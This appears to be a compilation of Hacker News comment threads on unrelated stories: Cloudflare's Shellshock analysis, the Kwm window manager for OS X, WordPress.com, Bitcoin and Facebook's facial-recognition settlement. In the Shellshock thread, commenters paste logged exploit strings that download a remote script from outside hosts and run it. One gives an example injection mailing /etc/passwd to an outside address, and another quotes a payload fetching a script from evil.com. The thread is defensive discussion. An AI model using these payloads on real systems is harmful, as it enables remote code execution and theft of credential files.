Inside Shellshock: How hackers are using it to exploit systems - <AUTHOR> https://blog.cloudflare.com/inside-shellshock/ <comment><USER2> It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment:

XXX.access.log:126.96.36.199 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi- bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

The payload is a perl script, which I posted to [http://pastebin.ca/2850380](http://pastebin.ca/2850380)

I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page)

EDIT: email text (feel free to copy and paste if you see similar things in your logs)

Dear XXX,

I found your email as the contact for the domain YYYY.

I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug"

This malicious program has been hosted on a file publically accessible using [http://XXXXX/legend.txt](http://XXXXX/legend.txt)

I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing.

Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-(

Sorry, Charles

EDIT2: if you want to discuss the code, [https://news.ycombinator.com/item?id=8392666](https://news.ycombinator.com/item?id=8392666)

<comment><USER3> "In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability.

This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc.

It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.

<comment><USER4> Are the bots scanning for anything besides HTTP-based Shellshock vulnerabilities?

</comment></comment></comment><comment><USER5> I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for a given vulnerable cgi script.

In this specific case, the exploit route is via the darcsweb.cgi python script which calls os.popen4() which in turn spawns /bin/sh. If /bin/sh had been bash it would have been all over for my server. This is not a cgi script in wide use (Debian popularity contest says that 22 people have installed it & registered with popcon!) yet it's still worth poking my server, which implies to me that this is an automated search of all the exploitable code they've found.

There's no security in obscurity here...

<comment><USER6> They're likely Googling stuff like: "darcsweb filetype:cgi" Or just "filetype:cgi"

Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker just doesn't work very well (I am actually leaning more towards the latter after some additional testing).

Ditto with DDG, their filetype: filter just doesn't work at all.

<comment><USER7> Shodan[1] does just this. I guess script kiddies all around the world are abusing it.

[1]:[http://shodanhq.com/search?q=cgi](http://shodanhq.com/search?q=cgi)

</comment></comment></comment><comment><USER8> Long ago writing testing exploits on a Solaris machine, I'd use the payload of "/sbin/eject" because it was very simple to see if the attack succeeded. No need to look through logs; just see the cup-holder open up obediently. So the opening really took me back.

<comment><USER9> The simplicity of this one has made it entertaining to watch. It's easy to follow the storyline of probes, exploits, and patches. And everyone has bash, so we can play along at home. ;-)

</comment></comment><comment><USER10> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.

As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds _horribly_ insecure and dangerous to let user input anywhere near a shell.

Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities.

Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?

<comment><USER11> > Perhaps someone could enlighten me, but even after reading this and several > other articles about Shellshock I really don't understand why we should be > so concerned.

Definitely read on.

> Heartbleed was scary because modern, highly secure websites were vulnerable. > Is that even remotely the case with Shellshock?

Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:

Enter name --

First: John

Last: Smith

Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:

Enter name --

First: () { :;}; cat /etc/passwd | mail email@example.com

Here's why this is dangerous -- the file /etc/passwd is locally world- readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.

One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a _local copy_ of /etc/password to succeed, and the above hack provides it.

BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.

<comment><USER10> You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell.

My question was why any reasonably designed modern web app would _ever_ have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.

<comment><USER11> > You didn't address my concerns at all.

You asked a question, I provided the answer and example code _to the actual question that you asked_.

> My question was why any reasonably designed modern web app would ever have > user input anywhere near a shell.

Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist.

> ... and I've yet to hear a single example of why any app built in the last > decade would do so.

I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment _normally_ belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.

<comment><USER10> > You asked a question, I provided the answer and example code to the actual > question that you asked.

No, you must emphatically _did not_.

This is the question I asked:

> Heartbleed was scary because modern, highly secure websites were vulnerable. > Is that even remotely the case with Shellshock?

Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I don't think anyone would characterize CGI scripts as modern.) Your question didn't get anywhere _near_ providing that.

I don't need a condescending explanation of _why_ Shellshock is bad if you open a shell. I need an explanation (preferably with an example of actual code) of why somebody is actually shelling out in a modern web app.

Put another way, Shellshock could literally cause a computer to explode anytime a shell is opened from the app. This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.

<comment><USER11> > This doesn't change my opinion that there's no reason modern websites are > opening shells—and nothing you've said provides evidence of that.

What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example.

Setting environment variables is very common, and safe if the shell is safe, because a sound shell won't do anything with an environment variable setting action beyond setting an environment variable.

Consider a prudent design that sanitizes the entry to limit itself to an alphanumeric variable name and a value provided by the user, as in my example. The left-hand side of the assignment is not an issue because the program checks its content for malicious intent. The right-hand side is safe if Bash is safe. If Bash is safe and if rudimentary precautions are taken, any variable-assigned text string is benign.

Not so for Shellshock, which is why it caused such consternation among Website operators.

Here's an online reference that makes the same points I do, and even uses the same example of reading /etc/passwd:

[https://blog.cloudflare.com/inside- shellshock/](https://blog.cloudflare.com/inside-shellshock/)

<comment><USER12> > many existing PHP pages, as just one example.

Not really. Deploying PHP with CGI is very uncommon, as we've seen from the fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to that has the potential of being vulnerable again, but that wasn't what you would think of as web applications: some embedded web interfaces, some really bad control panels, that sort of thing.

</comment></comment></comment></comment></comment></comment></comment><comment><USER13> I'm curious, has anybody reported seeing these signatures from before the bug was published?

<comment><USER14> I imagine a truly successful attack would involve clearing the logs of any footprints that we would be looking for. But worth checking anyway for those sloppy folks.

</comment></comment><comment><USER15> Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

<comment><USER16> "() { :;}; /bin/bash -c \"wget [http://stablehost.us/bots/regular.bot](http://stablehost.us/bots/regular.bot) -O /tmp/sh;curl -o /tmp/sh [http://stablehost.us/bots/regular.bot;sh](http://stablehost.us/bots/regular.bot;sh) /tmp/sh;rm -rf /tmp/sh\"" I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it? I think this could have happened before I patched & rebooted. How worried should I be?

<comment><USER16> Did some searching, looks like it tries to set up a botnet. One of the things this does is install nmap; the machine doesn't have nmap on it, makes me feel better.

</comment></comment></comment><comment><USER17> That /^cleanlogs/ just made me cringe. Holy crap.

<comment><USER18> I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

<comment><USER17> As far back as the 90's, I remember the log cleaners would only clean what they touched, so say utmp, read the structure and find all the time the user logged in and remove only this records. This one is wiping everything, you will know your logs have been tampered with, you won't have any logs. lol

</comment></comment></comment><comment><USER19> > (I've omitted the deeply technical explanations of why () { :; }; makes bash > behave like this for the sake of clarity in this essay.)

Can anybody point me to a good explanation of ShellShock's technical details?

<comment><USER20> In bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients.

Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sanitization before setting env vars from user input given that bash might execute it, but on the other hand bash's ability for _data_ to be executed as _code_ was pretty much undocumented and is now considered the bug.

Wikipedia has a good explanation at [http://en.wikipedia.org/wiki/Shellshock_(software_bug)](http://en.wikipedia.org/wiki/Shellshock_\(software_bug\))

<comment><USER21> > _but on the other hand bash 's ability for data to be executed as code was > pretty much undocumented and is now considered the bug._

From the article you linked:

> _Since Bash is both a command interpreter and a command, it is possible to > execute Bash from within Bash. When this happens, the original instance can > export environment variables and function definitions into the new > instance.[16] Function definitions are exported by encoding them within the > environment variable list as variables whose values begin with parentheses ( > "()") followed by a function definition. The new instance of Bash, upon > starting, scans its environment variable list for values in this format and > converts them back into internal functions._

I had this strange feeling after reading this, that it's been long time since people worked with low-level code. It's like the difference between method dispatch in C++ and, say, Python. In the latter, it's magic, it works and you don't care. In the former, it's part of basic language knowledge to understand how virtual methods are implemented by a hack involving pointers to arrays of function pointers (aka. vtables).

<comment><USER22> > In the former, it's part of basic language knowledge to understand how > virtual methods are implemented

Since when? While Hex-ray's IDA let me dig into exactly how vtables work, it's not like you even need to have heard of how vtables before you can stick the word 'virtual' in the right place for you code to do what you want.

Similarly: If you're a long-time Python programmer, and have never looked into the internals, it's a good exercise. There's a (in CPython) CALL_FUNCTION instruction that PyEval_EvalFrameEx (in Python/ceval.c) dispatches that (and, well, all) opcodes. And... and... It's not magic, yes it does work, I don't know if you care, I certainly do.

If you want to be ignorant of the lower-levels of code, Python certainly makes it easier (strings are an easy-to-use built-in language feature? madness!), but let's not pretend every programmer who has ever touched C++ has heard of vtables.

</comment></comment></comment></comment><comment><USER23> Great article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) [http://en.m.wikipedia.org/wiki/Fork_bomb](http://en.m.wikipedia.org/wiki/Fork_bomb)

<comment><USER24> Not much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.

<comment><USER25> Killing the computer is an easy way to prevent _other_ people from "using it as a spam node or launching platform". I can easily see some misguided gray hat forkbombing exploitable servers to prevent their use by blackhats. Which is why I, too, expected to see the classical bash fork bomb being used in these attacks.

The DoS using "sleep 20", however, sounds like the kind of thing some people consider "harmless fun" (like the many people using LOIC some time ago); it takes the site down, but does no permanent damage and clears itself after a while.

</comment></comment></comment><comment><USER26> 220.127.116.11 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 "[http://www.baidu.com"](http://www.baidu.com") "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;"

My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.

<comment><USER27> Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead.

Good work, Debian!

<comment><USER28> Debian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly using any of them. Or just patch Bash.

<comment><USER12> Yeah, that's an important point to stress:

Whether you have been vulnerable to this bug or not is important -- for the decision to wipe and reinstall.

It's not important for the decision to patch, which should be done everywhere possible.

</comment></comment></comment></comment><comment><USER29> So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?

<comment><AUTHOR> My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable.

I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.

<comment><USER3> I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget [http://evil.com/script.pl](http://evil.com/script.pl) -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.

<comment><AUTHOR> Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.

<comment><USER3> My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

</comment></comment></comment></comment></comment><comment><USER22> Is anyone seeing any _interesting_ payloads with this? Most of what I've seen are perl script CnC bots, with no actual binaries. The closest I've seen is a binary payload which was just for CnC with some hardcoded c2 IPs from China.

</comment><comment><USER30> _" On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well."_

I am glad they made that call. Thanks Cloudflare.

</comment><comment><USER31> Is it not a common assumption to think attacker's are not using the User-Agent header to attack? It is logged by default in Apache and nginx as far as I know. Why wouldn't you mask your attacks using another header? Cookies anyone?

</comment><comment><USER20> Excellent so far, although I've always thought of the entire interactive userland as the shell -- not only CLI, but also GUI, as each wraps the kernel on sort of the same plane.

<comment> Anthony-G That would be my understanding as well, e.g. On Microsoft operating systems, the primary shell is Windows Explorer.

Congrats to Cloudflare on this write-up. It's interesting to have actual figures and a breakdown on how Shellshock is being exploited in the wild. Kudos for explaining the vulnerability in simple terms that a non-CLI user should be able to understand.

</comment></comment><comment><USER32> _these requests were coming from France (80%)_

Let me guess, OVH?

<comment><USER33> Online.net (ponytelecom.eu) seems to be the new favorite since OVH at least makes a vague attempt to prevent it.</comment></comment>


Kwm, tiling window manager for OS X - <AUTHOR> https://github.com/koekeishiya/kwm <comment><USER2> See also Spectacle: [https://www.spectacleapp.com/](https://www.spectacleapp.com/)

Maybe not the most configurable but in return you get something that works out of the box and doesn't require you to read 38 pages of README.

<comment><USER3> I'm a long time user of a similar tool called Divvy[1]. However both these tools are _not_ tiling window managers. They help us scale Windows manually by providing customizable shortcuts. A tiling window manager would take care of that automatically. Popular examples are i3[2] and XMonad[3].

As a user of both Linux and OSX, having no access to a real tiling WM is probably the biggest downside to me from an end users perspective.

1\. [https://mizage.com/divvy/](https://mizage.com/divvy/)

2\. [https://i3wm.org/](https://i3wm.org/)

3\. [http://xmonad.org/](http://xmonad.org/)

<comment><USER4> Divvy just works for me. Really, the two most common shortcuts I use are "take up the right half" and "take up the left half". That accounts for 80% of my usage of anything like a tiling window manager. In third place is an alternative for "maximize" which isn't the OS X maximize. (Has a use for certain legacy programs, and also as an alternative to OS X fullscreen.) The next two most common operations are "take up the top half" and "take up the bottom half."

The devs were pretty responsive to my request, as well.

<comment><USER5> I have the same use case; been using Spectacle for years now.

</comment></comment></comment></comment><comment><USER6> Worth mentioning Amethyst for OS X, I've been using it for a year with a 3 monitor setup with no problems.

[https://ianyh.com/amethyst/](https://ianyh.com/amethyst/) and [https://github.com/puffnfresh/Honer.app](https://github.com/puffnfresh/Honer.app)

<comment><USER7> I'd be curious to know how this software compares with Amethyst. I've also been using Amethyst for some time with no problems, but it is sometimes a bit sluggish. I have so far assumed this has more to do with unavoidable limitations in the OS X gui ecosystem. It is written in Objective-C, is available on homebrewa and has a binary distribution available, provides a gui configuration manager, and seems to include all features claimed by kwm—including focus follows mouse. But if I knew how the two projects differ and, in particular, what kwm provides (or plans to provide) that Amethyst doesn't, I might consider giving it a shot.

<comment><USER8> At a guess, I would expect kwm to be faster, but probably less far along than Amethyst in terms of features/stability.

It's been a long time since I've actually written any C++, but briefly looking through the code it looks like it's making some of the same assumptions I made that resulted in some strange problems like the dreaded fullscreen bug ([https://github.com/ianyh/Amethyst/issues/254](https://github.com/ianyh/Amethyst/issues/254)). That said, some of those assumptions were made 3 OS X versions ago so things might have improved.

It does, however, look a lot lighter weight than Amethyst is, and it looks like it does a better job at aggressively caching. It also supports binary space partitioning, which Amethyst doesn't support yet ([https://github.com/ianyh/Amethyst/issues/255](https://github.com/ianyh/Amethyst/issues/255)). If I'm reading it correctly, though, that's the only thing it supports.

All in all, it seems like a great project. We could probably learn some things from each other, and I expect both projects would be the better for it.

</comment></comment></comment><comment><USER9> This looks really similar to bspwm[1] for Linux, which also uses a binary tree for window management, and also uses a daemon/client model for interaction with the window manager. bspwm is by far my favourite window manager, in any OS I have used.

[1]: [https://github.com/baskerville/bspwm](https://github.com/baskerville/bspwm)

<comment><USER10> I used to use bspwm, but ended up moving back to i3wm. While i3wm is not perfect, I always found it to be more practical than bspwm. The ability to stack, for example, is very nice. What's the thing that you really like about bspwm? As much as I wanted to really like bspwm, when it came to using it for work, I just found it lacked something.

<comment><USER11> Curious, what issues do you have with i3?

Have been using it for a few years, really hits the sweet spot of easy-config + awesome functionality (stacked terminal windows with remote server load averages piped through title bar are a real nice-to-have for example). Floatable dock (i.e. scratchpad) is also pretty handy for skype, music player, notes, etc.

Only issue that's really bothered me is a minor one: with stacked windows you can't get the desktop background to show through properly with transparency enabled (via Compton or other compositor). Apparently that's been fixed in 4.11.

Anyway, no shortage of TWM options on Linux, everyone can have their (nearly) ideal setup ;-)

<comment><USER12> With i3, I never found an easy way to swap two windows at different levels of the tree. With awesome or bspwm, I can just mod+drag. Also, automatic tiling in various layouts is nice.

<comment><USER10> I don't usually have complex layouts, and I really appreciate the stacking from i3, so in that sense i3 wins for me, but I guess if your layouts are more complex, you might appreciate bspwm power in that regard.

</comment></comment></comment></comment></comment><comment><USER13> I'm a fan of Mjolnir: [https://github.com/sdegutis/mjolnir](https://github.com/sdegutis/mjolnir)

Hammerspoon is a less complicated fork of it: [https://github.com/Hammerspoon/hammerspoon](https://github.com/Hammerspoon/hammerspoon)

My config: [https://github.com/colindean/mjolnir- config](https://github.com/colindean/mjolnir-config)

<comment><USER14> I totally agree - Hammerspoon rocks! I'm using it to build both an Alfred/Clipboard/anysearch replacement, and a way to move the mouse around the screen using VI like keystrokes!

</comment></comment><comment><USER15> On Linux and Windows I can make the current window occupy the left of the screen using Super+L, and the right side of the screen using Super+R. I rarely need more than this, in fact I find more than two or three windows distracting for most of my normal tasks.

<comment><USER16> I wish Apple would fully commit to tiling. We now have a situation where you can make an app full screen, if it supports it. Or you can have two apps side- by-side, if both apps support that. You can't go 'almost' full-screen - as in 'full-screen, but leave me the menubar' without something like Spectacle. I'm not even sure if keyboard shortcuts are available for split-screen, or if you can split two windows from the same app. But some apps support that themselves, of course. Shouldn't screen/window/tab management be a solved problem by now, rather than a bunch of disconnected hacks that sometimes work, but are touted as revolutionary features in the marketing material?

<comment><USER17> Hm? The menu bar exists in fullscreen apps. Move your mouse to the top and it will appear.

<comment><USER16> Yes, but I'd rather have it showing permanently. It doesn't take up much space, but it does provide really useful information - date and time, at the very least!

</comment></comment></comment></comment><comment><USER18> Screenshots, gifs, and videos of this in action would probably help clear up some confusion.

</comment><comment> pi-rat Long term amethyst user here, this looks really awesome. OUt of the box i feels much more like some of the linux tiling window managers and less like a hack.

<comment><USER7> Does this mean you've installed and are using it? Does it feel more responsive?

</comment></comment><comment><USER19> That screenshot is OS X? Anyone got any tips to achieve a look like that? I thought OS X customisation was basically dead.

<comment><USER20> If you look closely it appears to be a fullscreen iTerm2 running a fancy tmux powerline.

Edit: From [https://github.com/koekeishiya/kwm/issues/8#issuecomment-166...](https://github.com/koekeishiya/kwm/issues/8#issuecomment-166593294)

"The Apple menubar is hidden using the option that was added with El Capitan. I'm using the program nerdTool to create the illusion of a bar that you see in the screenshot."

<comment><USER21> I think that 'iTerm2' in the corner is just the name of the currently focused window.

</comment></comment></comment><comment><USER22> Just tried it. On the 24 inch monitor, I had 3 windows open and it perfectly tiled them. I used to use divvy and it was all manual, so this is great improvement. Plus one for auto focus.

Note: In case someone is wondering, to give accessibility access, check the checkbox for terminal in the security and privacy --> accessibility settings

<comment><USER23> Did the keyboard shortcuts work for you? I can't get them to work (even tried adding some flags to check whether they are being caught or not and they don't seem to reach hotkeys.so's code, ever, for me)

<comment><USER23> Not sure which, but some app I had open (I simply closed everything) was trapping the keycodes somehow. Weird (and mildly disturbing)

</comment></comment></comment><comment><USER24> How many of these OS X WM replacements are configurable to use a 3-button mouse + a keyboard key for window management shortcuts?

I've used X11 for almost 30 years, and inherited a twmrc file at the very start which had the following mappings which have become muscle memory to me:

alt + mouse_left = move + raise

alt + mouse_middle = resize

alt + mouse_right = iconify

I've configured KDE to do this for years. I once tried switching to a mac, but between not being able to map the mouse buttons like that, and not having focus-follows-mouse. I ended up giving the Mac to my inlaws..

<comment><USER25> I got annoyed enough to write a tool to emulate this behavior on OS X: [https://github.com/jmgao/metamove](https://github.com/jmgao/metamove)

</comment></comment><comment><USER26> I have been looking and hoping for something OS X like allSnap [1] for Windows where window sizing management isn't set up at prefixed sizes, but simply allows you to resize Windows as normal but they will snap to the sides of other Windows or screen edges. This allows you to nicely line up all your window edges with each other with little effort.

[1]: [http://ivanheckman.com/allsnap/](http://ivanheckman.com/allsnap/)

</comment><comment><USER27> I cannot give the binary access to OSX Accessibility because it is not an app bundle. It's greyed out in the System Preferences dialogue. Was anyone able to make it work?

<comment><USER28> Give Terminal.app access, and launch kwm from the terminal ..

<comment><USER29> That is even more insane from a security perspective than the whole accessibility api in general.

<comment><USER27> Yeah, no. I hope this gets posted again when it has an app bundle.

</comment></comment></comment></comment><comment><USER30> That app is not a actual tile manager. Setting the window position is different from actual "tile management".

Anyway for Windows a similar app is WinSplit Revolution.

</comment><comment><USER31> Here are a few more screenshots of it in action:

[http://imgur.com/a/tWBSg](http://imgur.com/a/tWBSg)

</comment><comment><USER32> Also check out AppGrid [1], a window manager for OS X 10.9+ that uses vim-like keys to move and resize windows. (Keys are configurable.) See the Releases tab for a pre-compiled binary. I've been using AppGrid for about 3 years straight every day.

[1]: [https://github.com/sdegutis/AppGrid](https://github.com/sdegutis/AppGrid)

</comment><comment><USER33> I tried almost every window manager for OS X. But due to the OS X itself. Some apps have the min window sizes constrain and can't fit in a small part of the display. They always go out side of the grid. This is the most annoying part.

BTW I remember someone made chrome (or another app) running under fullscreen mode in a window. Anyone knows how to do that?

</comment><comment><USER34> _Kwm requires access to osx accessibility._

I know what they mean by this, but it's written in an awkward manner.

<comment><USER35> OS X agglomerates functions like screen resizing and keyboard interaction under a silo labels "accessibility". I imagine OS X will prompt you to give access.

<comment><USER34> I know that; this is exactly what I was getting at when I said "I know what they mean..."

My only point, and it's a small one, was that there's probably a better way to write this.

</comment></comment></comment><comment><USER36> Is there any way to ask kwm _not_ to auto-tile windows, but rather keep them all maximized and one behind the other and with all their title bars visible by default?

That's the way I prefer to use i3 on Linux, and it would be nice to find something like that for OSX.

</comment><comment><USER37> I've found iTerm2 2.0's built in split wind is blowing xcellent and covers 99% of the use case for this, and full screen split window covers another .9%.</comment>


WordPress.com reboots from scratch to take on Medium - <AUTHOR> http://thenextweb.com/insider/2015/11/23/wordpress-com-reboots-from-scratch-to-take-on-medium/ <comment><AUTHOR> suspicions confirmed... [https://www.littlebizzy.com/blog/matt-mullenweg- attack](https://www.littlebizzy.com/blog/matt-mullenweg-attack)

<comment><USER2> I don't understand rants like this.... starting with a fairly timid quote which itself is not really ad hominem from Matt you get a full article of ad hominem and self-righteous vitriol from the author in response? High level of cognitive dissonance required here....</comment></comment>


Ask PG: what's your take on Bitcoin? - <AUTHOR>

I haven't seen you comment on any recent Bitcoin threads. Surely you must have a position on Bitcoin, or at least be forming one. <comment><USER2> i think the idea and principles are sound, however, if it gains any real momentum, it'll be subject to a crack down.

the money supply of a country is it's real source of power. taking it away from the current owners shall be no trivial feat. but decentralization is perhaps the way it could go down.

at the end of the day, i'm all for it. if it's inherently flawed, the masses will discover it, and not use it, at the expense of maybe a few individuals getting burned (but i think we should accept that really, it's an inevitability of the "new").

</comment><comment><USER3> And would you consider investing in a company that was working on a digital currency related product?

<comment><USER4> I doubt anyone would be willing to, bitcoin could at anytime be deemed an illegal currency due to no taxation, etc.</comment></comment>


Facebook to Pay $550M to Settle Facial Recognition Suit - <AUTHOR> https://www.nytimes.com/2020/01/29/technology/facebook-privacy-lawsuit-earnings.html <comment><USER2> I find it weird how people compare a fine for some specific conduct to the revenue or profit of an entire company. In this case, the illegal use of facial recognition probably slightly increased engagement for photo sharing features. That's worth something but it obviously only accounts for a very small portion of the company's revenues.

If the story was "judge declares entirety of Facebook enterprise illegal, punishment is $550M fine" I would get the outrage.

<comment><USER3> You need to view this in the context of all the things facebook is doing. They might get fined $550m for this one thing, but how many projects is Facebook engaged in that skirt regulations or outright breach them? Dozens of projects? Hundreds? So you can't compare the $550m against only the facial recognition, you've got to compare it against the entire suite of questionable things they're doing. THe point is that the corporate strategy is to skirt these lines and the success of that strategy is the cumulative success of all the projects along with the handful of fines they hit. So you've got to have disproportionate fines because you _know_ enforcement is patchy.

<comment><USER2> When Facebook gets sued for all that other wrongdoing, they can pay out for it. Maybe you boost the fines by weighing the probability of getting caught. Facebook has been fined before and many other legal conflicts are ongoing, so it's not as though they are getting a pass.

If Facebook gets a company-destroying fine for each act of wrongdoing, then it's just a race where the first victims to prosecute get compensated. The slowpokes are screwed because the company has nothing left to pay out. This seems like a less fair system than one where fines are proportional to the value extracted or damages caused by the illegal conduct.

<comment><USER4> while i understand what you are saying, i don't think the law should be like that, especially for companies, where in the end nobody is going to jail.

if we see it just like that then the breaking a law is just a calculated risk. And companies take calculated risks all the time, they will take it. There is my mind no way that facebook did not know that they are breaking the law.

if we allow that the law is just one parameter in the strategy, then the law is just a tax that you have to pay if you get caught.

</comment></comment></comment></comment><comment><USER5> Your move, Clearview AI.

They've been sued in IL as well under the same auspices, and Clearview's defense that they aren't a private entity because they "only" do business with public entities (e.g., law enforcement) is definitely not going to fly here. This settlement establishes how seriously the state of Illinois is taking non- consensual biometric information gathering, especially facial recognition.

<comment><USER6> If I put information about myself out there on a public site, I still have a right to say that people can't download and use that information?

<comment><USER7> This is a reductive argument and does not hold up to both social and legal norms.

Making data publicly accessible does not grant users of it carte blanche to use it however they wish. The data may be copyrighted: Viewing it does not grant the viewer rights to republish it or claim it as their own work. An image may contain a likeness: Viewing it does not grant the viewer rights to claim endorsement by that individual, or to use their likeness in ways of which the individual does not approve.

Beyond copyright and likeness rights, a likeness contains biometric information. Having access to that likeness, at least by the laws of the State of Illinois, does not grant the user rights to biometrics derived from that image.

<comment><USER8> > Viewing it does not grant the viewer rights to republish it or claim it as > their own work.

But that's not the question here, right?

The question is whether I can use my high school yearbook pictures to look for information about my classmates.

<comment><USER9> To be fair here, it kind of is the question right?

I mean, say you and I are at a neighborhood kid's birthday party with our own kids. Suppose further that you take some pictures, and then post them publicly. Maybe to your FB?

Well, I never really gave you permission to use my image on your FB. Let alone publicly. I know that I certainly would never consent to publishing images of my children publicly. Further, I suspect the birthday party's host wouldn't give you permission to post his/her family's images on FB either.

So here we are, with all of these people on your public FB. None having signed or even given verbal authorization for any sort of release. And now FB starts running FaceRec on all the information you just gave them. To top it all off, my family and I don't even use FB. Never have. So it really can't even be claimed that we consented to facial recognition via the terms and conditions of service.

I only outlined all of that to outline this, just because a person's image is in public doesn't mean that the person consented to the image being public. Especially images taken from private spaces, (like bday parties at some kid's house).

<comment><USER10> > So here we are, with all of these people on your public FB. None having > signed or even given verbal authorization for any sort of release. And now > FB starts running FaceRec on all the information you just gave them. To top > it all off, my family and I don't even use FB. Never have. So it really > can't even be claimed that we consented to facial recognition via the terms > and conditions of service.

> I only outlined all of that to outline this, just because a person's image > is in public doesn't mean that the person consented to the image being > public.

But what part of this would, even hypothetically, give you a cause of action against Facebook? What's Facebook supposed to have done wrong? You have a cause of action against your friend who illegitimately provided your photos to Facebook, not against Facebook who relied on the legal assurance your friend provided that he had the right to post those photos.

